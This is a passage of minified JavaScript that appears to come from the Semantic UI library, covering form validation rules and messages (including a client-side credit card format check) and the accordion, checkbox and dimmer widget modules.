{ruleValue} characters",length:"{name} must be at least {ruleValue} characters",exactLength:"{name} must be exactly {ruleValue} characters",maxLength:"{name} cannot be longer than {ruleValue} characters",match:"{name} must match {ruleValue} field",different:"{name} must have a different value than {ruleValue} field",creditCard:"{name} must be a valid credit card number",minCount:"{name} must have at least {ruleValue} choices",exactCount:"{name} must have exactly {ruleValue} choices",maxCount:"{name} must have {ruleValue} or less choices"},selector:{checkbox:'input[type="checkbox"], input[type="radio"]',clear:".clear",field:"input, textarea, select",group:".field",input:"input",message:".error.message",prompt:".prompt.label",radio:'input[type="radio"]',reset:'.reset:not([type="reset"])',submit:'.submit:not([type="submit"])',uiCheckbox:".ui.checkbox",uiDropdown:".ui.dropdown"},className:{error:"error",label:"ui prompt label",pressed:"down",success:"success"},error:{identifier:"You must specify a string identifier for each field",method:"The method you called is not defined.",noRule:"There is no rule matching the one you specified",oldSyntax:"Starting in 2.0 forms now only take a single settings object. Validation settings converted to new syntax automatically."},templates:{error:function(t){var n='<ul class="list">';return e.each(t,function(e,t){n+="<li>"+t+"</li>"}),n+="</ul>",e(n)},prompt:function(t){return e("<div/>").addClass("ui basic red pointing prompt label").html(t[0])}},rules:{empty:function(t){return!(t===i||""===t||e.isArray(t)&&0===t.length)},checked:function(){return e(this).filter(":checked").length>0},email:function(t){return e.fn.form.settings.regExp.email.test(t)},url:function(t){return e.fn.form.settings.regExp.url.test(t)},regExp:function(t,n){if(n instanceof RegExp)return t.match(n);var i,o=n.match(e.fn.form.settings.regExp.flags);return o&&(n=o.length>=2?o[1]:n,i=o.length>=3?o[2]:""),t.match(new RegExp(n,i))},integer:function(t,n){var o,a,r,s=e.fn.form.settings.regExp.integer;return n&&["",".."].indexOf(n)===-1&&(n.indexOf("..")==-1?s.test(n)&&(o=a=n-0):(r=n.split("..",2),s.test(r[0])&&(o=r[0]-0),s.test(r[1])&&(a=r[1]-0))),s.test(t)&&(o===i||t>=o)&&(a===i||t<=a)},decimal:function(t){return e.fn.form.settings.regExp.decimal.test(t)},number:function(t){return e.fn.form.settings.regExp.number.test(t)},is:function(e,t){return t="string"==typeof t?t.toLowerCase():t,e="string"==typeof e?e.toLowerCase():e,e==t},isExactly:function(e,t){return e==t},not:function(e,t){return e="string"==typeof e?e.toLowerCase():e,t="string"==typeof t?t.toLowerCase():t,e!=t},notExactly:function(e,t){return e!=t},contains:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n,"i"))!==-1},containsExactly:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n))!==-1},doesntContain:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n,"i"))===-1},doesntContainExactly:function(t,n){return n=n.replace(e.fn.form.settings.regExp.escape,"\\$&"),t.search(new RegExp(n))===-1},minLength:function(e,t){return e!==i&&e.length>=t},length:function(e,t){return e!==i&&e.length>=t},exactLength:function(e,t){return e!==i&&e.length==t},maxLength:function(e,t){return e!==i&&e.length<=t},match:function(t,n){var o;e(this);return e('[data-validate="'+n+'"]').length>0?o=e('[data-validate="'+n+'"]').val():e("#"+n).length>0?o=e("#"+n).val():e('[name="'+n+'"]').length>0?o=e('[name="'+n+'"]').val():e('[name="'+n+'[]"]').length>0&&(o=e('[name="'+n+'[]"]')),o!==i&&t.toString()==o.toString()},different:function(t,n){var o;e(this);return e('[data-validate="'+n+'"]').length>0?o=e('[data-validate="'+n+'"]').val():e("#"+n).length>0?o=e("#"+n).val():e('[name="'+n+'"]').length>0?o=e('[name="'+n+'"]').val():e('[name="'+n+'[]"]').length>0&&(o=e('[name="'+n+'[]"]')),o!==i&&t.toString()!==o.toString()},creditCard:function(t,n){var i,o,a={visa:{pattern:/^4/,length:[16]},amex:{pattern:/^3[47]/,length:[15]},mastercard:{pattern:/^5[1-5]/,length:[16]},discover:{pattern:/^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)/,length:[16]},unionPay:{pattern:/^(62|88)/,length:[16,17,18,19]},jcb:{pattern:/^35(2[89]|[3-8][0-9])/,length:[16]},maestro:{pattern:/^(5018|5020|5038|6304|6759|676[1-3])/,length:[12,13,14,15,16,17,18,19]},dinersClub:{pattern:/^(30[0-5]|^36)/,length:[14]},laser:{pattern:/^(6304|670[69]|6771)/,length:[16,17,18,19]},visaElectron:{pattern:/^(4026|417500|4508|4844|491(3|7))/,length:[16]}},r={},s=!1,l="string"==typeof n&&n.split(",");if("string"==typeof t&&0!==t.length){if(l&&(e.each(l,function(n,i){o=a[i],o&&(r={length:e.inArray(t.length,o.length)!==-1,pattern:t.search(o.pattern)!==-1},r.length&&r.pattern&&(s=!0))}),!s))return!1;if(i={number:e.inArray(t.length,a.unionPay.length)!==-1,pattern:t.search(a.unionPay.pattern)!==-1},i.number&&i.pattern)return!0;for(var c=t.length,u=0,d=[[0,1,2,3,4,5,6,7,8,9],[0,2,4,6,8,1,3,5,7,9]],f=0;c--;)f+=d[u][parseInt(t.charAt(c),10)],u^=1;return f%10===0&&f>0}},minCount:function(e,t){return 0==t||(1==t?""!==e:e.split(",").length>=t)},exactCount:function(e,t){return 0==t?""===e:1==t?""!==e&&e.search(",")===-1:e.split(",").length==t},maxCount:function(e,t){return 0!=t&&(1==t?e.search(",")===-1:e.split(",").length<=t)}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.accordion=function(n){var o,a=e(this),r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof l,u=[].slice.call(arguments,1);t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return a.each(function(){var d,f,m=e.isPlainObject(n)?e.extend(!0,{},e.fn.accordion.settings,n):e.extend({},e.fn.accordion.settings),g=m.className,p=m.namespace,h=m.selector,v=m.error,b="."+p,y="module-"+p,x=a.selector||"",C=e(this),w=C.find(h.title),k=C.find(h.content),S=this,T=C.data(y);f={initialize:function(){f.debug("Initializing",C),f.bind.events(),m.observeChanges&&f.observeChanges(),f.instantiate()},instantiate:function(){T=f,C.data(y,f)},destroy:function(){f.debug("Destroying previous instance",C),C.off(b).removeData(y)},refresh:function(){w=C.find(h.title),k=C.find(h.content)},observeChanges:function(){"MutationObserver"in t&&(d=new MutationObserver(function(e){f.debug("DOM tree modified, updating selector cache"),f.refresh()}),d.observe(S,{childList:!0,subtree:!0}),f.debug("Setting up mutation observer",d))},bind:{events:function(){f.debug("Binding delegated events"),C.on(m.on+b,h.trigger,f.event.click)}},event:{click:function(){f.toggle.call(this)}},toggle:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=r&&!a,l=!r&&a;f.debug("Toggling visibility of content",n),s||l?m.collapsible?f.close.call(n):f.debug("Cannot close accordion content collapsing is disabled"):f.open.call(n)},open:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=r||a;return s?void f.debug("Accordion already open, skipping",o):(f.debug("Opening accordion content",n),m.onOpening.call(o),m.exclusive&&f.closeOthers.call(n),n.addClass(g.active),o.stop(!0,!0).addClass(g.animating),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?o.children().transition({animation:"fade in",queue:!1,useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):o.children().stop(!0,!0).animate({opacity:1},m.duration,f.resetOpacity)),void o.slideDown(m.duration,m.easing,function(){o.removeClass(g.animating).addClass(g.active),f.reset.display.call(this),m.onOpen.call(this),m.onChange.call(this)}))},close:function(t){var n=t!==i?"number"==typeof t?w.eq(t):e(t).closest(h.title):e(this).closest(h.title),o=n.next(k),a=o.hasClass(g.animating),r=o.hasClass(g.active),s=!r&&a,l=r&&a;!r&&!s||l||(f.debug("Closing accordion content",o),m.onClosing.call(o),n.removeClass(g.active),o.stop(!0,!0).addClass(g.animating),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?o.children().transition({animation:"fade out",queue:!1,useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):o.children().stop(!0,!0).animate({opacity:0},m.duration,f.resetOpacity)),o.slideUp(m.duration,m.easing,function(){o.removeClass(g.animating).removeClass(g.active),f.reset.display.call(this),m.onClose.call(this),m.onChange.call(this)}))},closeOthers:function(t){var n,o,a,r=t!==i?w.eq(t):e(this).closest(h.title),s=r.parents(h.content).prev(h.title),l=r.closest(h.accordion),c=h.title+"."+g.active+":visible",u=h.content+"."+g.active+":visible";m.closeNested?(n=l.find(c).not(s),a=n.next(k)):(n=l.find(c).not(s),o=l.find(u).find(c).not(s),n=n.not(o),a=n.next(k)),n.length>0&&(f.debug("Exclusive enabled, closing other content",n),n.removeClass(g.active),a.removeClass(g.animating).stop(!0,!0),m.animateChildren&&(e.fn.transition!==i&&C.transition("is supported")?a.children().transition({animation:"fade out",useFailSafe:!0,debug:m.debug,verbose:m.verbose,duration:m.duration}):a.children().stop(!0,!0).animate({opacity:0},m.duration,f.resetOpacity)),a.slideUp(m.duration,m.easing,function(){e(this).removeClass(g.active),f.reset.display.call(this)}))},reset:{display:function(){f.verbose("Removing inline display from element",this),e(this).css("display",""),""===e(this).attr("style")&&e(this).attr("style","").removeAttr("style")},opacity:function(){f.verbose("Removing inline opacity from element",this),e(this).css("opacity",""),""===e(this).attr("style")&&e(this).attr("style","").removeAttr("style")}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){return f.debug("Changing internal",t,n),n===i?f[t]:void(e.isPlainObject(t)?e.extend(!0,f,t):f[t]=n)},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:S,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;r=!1,clearTimeout(f.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",x&&(t+=" '"+x+"'"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,n,a){var r,s,l,c=T;return n=n||u,a=S||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(v.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},c?(T===i&&f.initialize(),f.invoke(l)):(T!==i&&T.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.accordion.settings={name:"Accordion",namespace:"accordion",silent:!1,debug:!1,verbose:!1,performance:!0,on:"click",observeChanges:!0,exclusive:!0,collapsible:!0,closeNested:!1,animateChildren:!0,duration:350,easing:"easeOutQuad",onOpening:function(){},onOpen:function(){},onClosing:function(){}, onClose:function(){},onChange:function(){},error:{method:"The method you called is not defined"},className:{active:"active",animating:"animating"},selector:{accordion:".accordion",title:".title",trigger:".title",content:".content"}},e.extend(e.easing,{easeOutQuad:function(e,t,n,i,o){return-i*(t/=o)*(t-2)+n}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.checkbox=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return r.each(function(){var r,m,g=e.extend(!0,{},e.fn.checkbox.settings,o),p=g.className,h=g.namespace,v=g.selector,b=g.error,y="."+h,x="module-"+h,C=e(this),w=e(this).children(v.label),k=e(this).children(v.input),S=k[0],T=!1,A=!1,R=C.data(x),E=this;m={initialize:function(){m.verbose("Initializing checkbox",g),m.create.label(),m.bind.events(),m.set.tabbable(),m.hide.input(),m.observeChanges(),m.instantiate(),m.setup()},instantiate:function(){m.verbose("Storing instance of module",m),R=m,C.data(x,m)},destroy:function(){m.verbose("Destroying module"),m.unbind.events(),m.show.input(),C.removeData(x)},fix:{reference:function(){C.is(v.input)&&(m.debug("Behavior called on <input> adjusting invoked element"),C=C.closest(v.checkbox),m.refresh())}},setup:function(){m.set.initialLoad(),m.is.indeterminate()?(m.debug("Initial value is indeterminate"),m.indeterminate()):m.is.checked()?(m.debug("Initial value is checked"),m.check()):(m.debug("Initial value is unchecked"),m.uncheck()),m.remove.initialLoad()},refresh:function(){w=C.children(v.label),k=C.children(v.input),S=k[0]},hide:{input:function(){m.verbose("Modifying <input> z-index to be unselectable"),k.addClass(p.hidden)}},show:{input:function(){m.verbose("Modifying <input> z-index to be selectable"),k.removeClass(p.hidden)}},observeChanges:function(){"MutationObserver"in t&&(r=new MutationObserver(function(e){m.debug("DOM tree modified, updating selector cache"),m.refresh()}),r.observe(E,{childList:!0,subtree:!0}),m.debug("Setting up mutation observer",r))},attachEvents:function(t,n){var i=e(t);n=e.isFunction(m[n])?m[n]:m.toggle,i.length>0?(m.debug("Attaching checkbox events to element",t,n),i.on("click"+y,n)):m.error(b.notFound)},event:{click:function(t){var n=e(t.target);return n.is(v.input)?void m.verbose("Using default check action on initialized checkbox"):n.is(v.link)?void m.debug("Clicking link inside checkbox, skipping toggle"):(m.toggle(),k.focus(),void t.preventDefault())},keydown:function(e){var t=e.which,n={enter:13,space:32,escape:27};t==n.escape?(m.verbose("Escape key pressed blurring field"),k.blur(),A=!0):e.ctrlKey||t!=n.space&&t!=n.enter?A=!1:(m.verbose("Enter/space key pressed, toggling checkbox"),m.toggle(),A=!0)},keyup:function(e){A&&e.preventDefault()}},check:function(){m.should.allowCheck()&&(m.debug("Checking checkbox",k),m.set.checked(),m.should.ignoreCallbacks()||(g.onChecked.call(S),g.onChange.call(S)))},uncheck:function(){m.should.allowUncheck()&&(m.debug("Unchecking checkbox"),m.set.unchecked(),m.should.ignoreCallbacks()||(g.onUnchecked.call(S),g.onChange.call(S)))},indeterminate:function(){return m.should.allowIndeterminate()?void m.debug("Checkbox is already indeterminate"):(m.debug("Making checkbox indeterminate"),m.set.indeterminate(),void(m.should.ignoreCallbacks()||(g.onIndeterminate.call(S),g.onChange.call(S))))},determinate:function(){return m.should.allowDeterminate()?void m.debug("Checkbox is already determinate"):(m.debug("Making checkbox determinate"),m.set.determinate(),void(m.should.ignoreCallbacks()||(g.onDeterminate.call(S),g.onChange.call(S))))},enable:function(){return m.is.enabled()?void m.debug("Checkbox is already enabled"):(m.debug("Enabling checkbox"),m.set.enabled(),g.onEnable.call(S),void g.onEnabled.call(S))},disable:function(){return m.is.disabled()?void m.debug("Checkbox is already disabled"):(m.debug("Disabling checkbox"),m.set.disabled(),g.onDisable.call(S),void g.onDisabled.call(S))},get:{radios:function(){var t=m.get.name();return e('input[name="'+t+'"]').closest(v.checkbox)},otherRadios:function(){return m.get.radios().not(C)},name:function(){return k.attr("name")}},is:{initialLoad:function(){return T},radio:function(){return k.hasClass(p.radio)||"radio"==k.attr("type")},indeterminate:function(){return k.prop("indeterminate")!==i&&k.prop("indeterminate")},checked:function(){return k.prop("checked")!==i&&k.prop("checked")},disabled:function(){return k.prop("disabled")!==i&&k.prop("disabled")},enabled:function(){return!m.is.disabled()},determinate:function(){return!m.is.indeterminate()},unchecked:function(){return!m.is.checked()}},should:{allowCheck:function(){return m.is.determinate()&&m.is.checked()&&!m.should.forceCallbacks()?(m.debug("Should not allow check, checkbox is already checked"),!1):g.beforeChecked.apply(S)!==!1||(m.debug("Should not allow check, beforeChecked cancelled"),!1)},allowUncheck:function(){return m.is.determinate()&&m.is.unchecked()&&!m.should.forceCallbacks()?(m.debug("Should not allow uncheck, checkbox is already unchecked"),!1):g.beforeUnchecked.apply(S)!==!1||(m.debug("Should not allow uncheck, beforeUnchecked cancelled"),!1)},allowIndeterminate:function(){return m.is.indeterminate()&&!m.should.forceCallbacks()?(m.debug("Should not allow indeterminate, checkbox is already indeterminate"),!1):g.beforeIndeterminate.apply(S)!==!1||(m.debug("Should not allow indeterminate, beforeIndeterminate cancelled"),!1)},allowDeterminate:function(){return m.is.determinate()&&!m.should.forceCallbacks()?(m.debug("Should not allow determinate, checkbox is already determinate"),!1):g.beforeDeterminate.apply(S)!==!1||(m.debug("Should not allow determinate, beforeDeterminate cancelled"),!1)},forceCallbacks:function(){return m.is.initialLoad()&&g.fireOnInit},ignoreCallbacks:function(){return T&&!g.fireOnInit}},can:{change:function(){return!(C.hasClass(p.disabled)||C.hasClass(p.readOnly)||k.prop("disabled")||k.prop("readonly"))},uncheck:function(){return"boolean"==typeof g.uncheckable?g.uncheckable:!m.is.radio()}},set:{initialLoad:function(){T=!0},checked:function(){return m.verbose("Setting class to checked"),C.removeClass(p.indeterminate).addClass(p.checked),m.is.radio()&&m.uncheckOthers(),!m.is.indeterminate()&&m.is.checked()?void m.debug("Input is already checked, skipping input property change"):(m.verbose("Setting state to checked",S),k.prop("indeterminate",!1).prop("checked",!0),void m.trigger.change())},unchecked:function(){return m.verbose("Removing checked class"),C.removeClass(p.indeterminate).removeClass(p.checked),!m.is.indeterminate()&&m.is.unchecked()?void m.debug("Input is already unchecked"):(m.debug("Setting state to unchecked"),k.prop("indeterminate",!1).prop("checked",!1),void m.trigger.change())},indeterminate:function(){return m.verbose("Setting class to indeterminate"),C.addClass(p.indeterminate),m.is.indeterminate()?void m.debug("Input is already indeterminate, skipping input property change"):(m.debug("Setting state to indeterminate"),k.prop("indeterminate",!0),void m.trigger.change())},determinate:function(){return m.verbose("Removing indeterminate class"),C.removeClass(p.indeterminate),m.is.determinate()?void m.debug("Input is already determinate, skipping input property change"):(m.debug("Setting state to determinate"),void k.prop("indeterminate",!1))},disabled:function(){return m.verbose("Setting class to disabled"),C.addClass(p.disabled),m.is.disabled()?void m.debug("Input is already disabled, skipping input property change"):(m.debug("Setting state to disabled"),k.prop("disabled","disabled"),void m.trigger.change())},enabled:function(){return m.verbose("Removing disabled class"),C.removeClass(p.disabled),m.is.enabled()?void m.debug("Input is already enabled, skipping input property change"):(m.debug("Setting state to enabled"),k.prop("disabled",!1),void m.trigger.change())},tabbable:function(){m.verbose("Adding tabindex to checkbox"),k.attr("tabindex")===i&&k.attr("tabindex",0)}},remove:{initialLoad:function(){T=!1}},trigger:{change:function(){var e=n.createEvent("HTMLEvents"),t=k[0];t&&(m.verbose("Triggering native change event"),e.initEvent("change",!0,!1),t.dispatchEvent(e))}},create:{label:function(){k.prevAll(v.label).length>0?(k.prev(v.label).detach().insertAfter(k),m.debug("Moving existing label",w)):m.has.label()||(w=e("<label>").insertAfter(k),m.debug("Creating label",w))}},has:{label:function(){return w.length>0}},bind:{events:function(){m.verbose("Attaching checkbox events"),C.on("click"+y,m.event.click).on("keydown"+y,v.input,m.event.keydown).on("keyup"+y,v.input,m.event.keyup)}},unbind:{events:function(){m.debug("Removing events"),C.off(y)}},uncheckOthers:function(){var e=m.get.otherRadios();m.debug("Unchecking other radios",e),e.removeClass(p.checked)},toggle:function(){return m.can.change()?void(m.is.indeterminate()||m.is.unchecked()?(m.debug("Currently unchecked"),m.check()):m.is.checked()&&m.can.uncheck()&&(m.debug("Currently checked"),m.uncheck())):void(m.is.radio()||m.debug("Checkbox is read-only or disabled, ignoring toggle"))},setting:function(t,n){if(m.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];e.isPlainObject(g[t])?e.extend(!0,g[t],n):g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:E,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;l=!1,clearTimeout(m.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=R;return n=n||f,o=E||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(m.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(R===i&&m.initialize(),m.invoke(u)):(R!==i&&R.invoke("destroy"),m.initialize())}),a!==i?a:this},e.fn.checkbox.settings={name:"Checkbox",namespace:"checkbox",silent:!1,debug:!1,verbose:!0,performance:!0,uncheckable:"auto",fireOnInit:!1,onChange:function(){},beforeChecked:function(){},beforeUnchecked:function(){},beforeDeterminate:function(){},beforeIndeterminate:function(){},onChecked:function(){},onUnchecked:function(){},onDeterminate:function(){},onIndeterminate:function(){},onEnable:function(){},onDisable:function(){},onEnabled:function(){},onDisabled:function(){},className:{checked:"checked",indeterminate:"indeterminate",disabled:"disabled",hidden:"hidden",radio:"radio",readOnly:"read-only"},error:{method:"The method you called is not defined"},selector:{checkbox:".ui.checkbox",label:"label, .box",input:'input[type="checkbox"], input[type="radio"]',link:"a[href]"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.dimmer=function(t){var o,a=e(this),r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof l,u=[].slice.call(arguments,1);return a.each(function(){var d,f,m,g=e.isPlainObject(t)?e.extend(!0,{},e.fn.dimmer.settings,t):e.extend({},e.fn.dimmer.settings),p=g.selector,h=g.namespace,v=g.className,b=g.error,y="."+h,x="module-"+h,C=a.selector||"",w="ontouchstart"in n.documentElement?"touchstart":"click",k=e(this),S=this,T=k.data(x);m={preinitialize:function(){m.is.dimmer()?(f=k.parent(),d=k):(f=k,d=m.has.dimmer()?g.dimmerName?f.find(p.dimmer).filter("."+g.dimmerName):f.find(p.dimmer):m.create(),m.set.variation())},initialize:function(){m.debug("Initializing dimmer",g),m.bind.events(),m.set.dimmable(),m.instantiate()},instantiate:function(){m.verbose("Storing instance of module",m),T=m,k.data(x,T)},destroy:function(){m.verbose("Destroying previous module",d),m.unbind.events(),m.remove.variation(),f.off(y)},bind:{events:function(){"hover"==g.on?f.on("mouseenter"+y,m.show).on("mouseleave"+y,m.hide):"click"==g.on&&f.on(w+y,m.toggle),m.is.page()&&(m.debug("Setting as a page dimmer",f),m.set.pageDimmer()),m.is.closable()&&(m.verbose("Adding dimmer close event",d),f.on(w+y,p.dimmer,m.event.click))}},unbind:{events:function(){k.removeData(x),f.off(y)}},event:{click:function(t){m.verbose("Determining if event occured on dimmer",t),(0===d.find(t.target).length||e(t.target).is(p.content))&&(m.hide(),t.stopImmediatePropagation())}},addContent:function(t){var n=e(t);m.debug("Add content to dimmer",n),n.parent()[0]!==d[0]&&n.detach().appendTo(d)},create:function(){var t=e(g.template.dimmer());return g.dimmerName&&(m.debug("Creating named dimmer",g.dimmerName),t.addClass(g.dimmerName)),t.appendTo(f),t},show:function(t){t=e.isFunction(t)?t:function(){},m.debug("Showing dimmer",d,g),m.is.dimmed()&&!m.is.animating()||!m.is.enabled()?m.debug("Dimmer is already shown or disabled"):(m.animate.show(t),g.onShow.call(S),g.onChange.call(S))},hide:function(t){t=e.isFunction(t)?t:function(){},m.is.dimmed()||m.is.animating()?(m.debug("Hiding dimmer",d),m.animate.hide(t),g.onHide.call(S),g.onChange.call(S)):m.debug("Dimmer is not visible")},toggle:function(){m.verbose("Toggling dimmer visibility",d),m.is.dimmed()?m.hide():m.show()},animate:{show:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?("auto"!==g.opacity&&m.set.opacity(),d.transition({animation:g.transition+" in",queue:!1,duration:m.get.duration(),useFailSafe:!0,onStart:function(){m.set.dimmed()},onComplete:function(){m.set.active(),t()}})):(m.verbose("Showing dimmer animation with javascript"),m.set.dimmed(),"auto"==g.opacity&&(g.opacity=.8),d.stop().css({opacity:0,width:"100%",height:"100%"}).fadeTo(m.get.duration(),g.opacity,function(){d.removeAttr("style"),m.set.active(),t()}))},hide:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?(m.verbose("Hiding dimmer with css"),d.transition({animation:g.transition+" out",queue:!1,duration:m.get.duration(),useFailSafe:!0,onStart:function(){m.remove.dimmed()},onComplete:function(){m.remove.active(),t()}})):(m.verbose("Hiding dimmer with javascript"),m.remove.dimmed(),d.stop().fadeOut(m.get.duration(),function(){m.remove.active(),d.removeAttr("style"),t()}))}},get:{dimmer:function(){return d},duration:function(){return"object"==typeof g.duration?m.is.active()?g.duration.hide:g.duration.show:g.duration}},has:{dimmer:function(){return g.dimmerName?k.find(p.dimmer).filter("."+g.dimmerName).length>0:k.find(p.dimmer).length>0}},is:{active:function(){return d.hasClass(v.active)},animating:function(){return d.is(":animated")||d.hasClass(v.animating)},closable:function(){return"auto"==g.closable?"hover"!=g.on:g.closable},dimmer:function(){return k.hasClass(v.dimmer)},dimmable:function(){return k.hasClass(v.dimmable)},dimmed:function(){return f.hasClass(v.dimmed)},disabled:function(){return f.hasClass(v.disabled)},enabled:function(){return!m.is.disabled()},page:function(){return f.is("body")},pageDimmer:function(){return d.hasClass(v.pageDimmer)}},can:{show:function(){return!d.hasClass(v.disabled)}},set:{opacity:function(e){var t=d.css("background-color"),n=t.split(","),i=n&&3==n.length,o=n&&4==n.length;e=0===g.opacity?0:g.opacity||e,i||o?(n[3]=e+")",t=n.join(",")):t="rgba(0, 0, 0, "+e+")",m.debug("Setting opacity to",e),d.css("background-color",t)},active:function(){d.addClass(v.active)},dimmable:function(){f.addClass(v.dimmable)},dimmed:function(){f.addClass(v.dimmed)},pageDimmer:function(){d.addClass(v.pageDimmer)},disabled:function(){d.addClass(v.disabled)},variation:function(e){e=e||g.variation,e&&d.addClass(e)}},remove:{active:function(){d.removeClass(v.active)},dimmed:function(){f.removeClass(v.dimmed)},disabled:function(){d.removeClass(v.disabled)},variation:function(e){e=e||g.variation,e&&d.removeClass(e)}},setting:function(t,n){if(m.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];e.isPlainObject(g[t])?e.extend(!0,g[t],n):g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:S,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;r=!1,clearTimeout(m.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",C&&(t+=" '"+C+"'"),a.length>1&&(t+=" 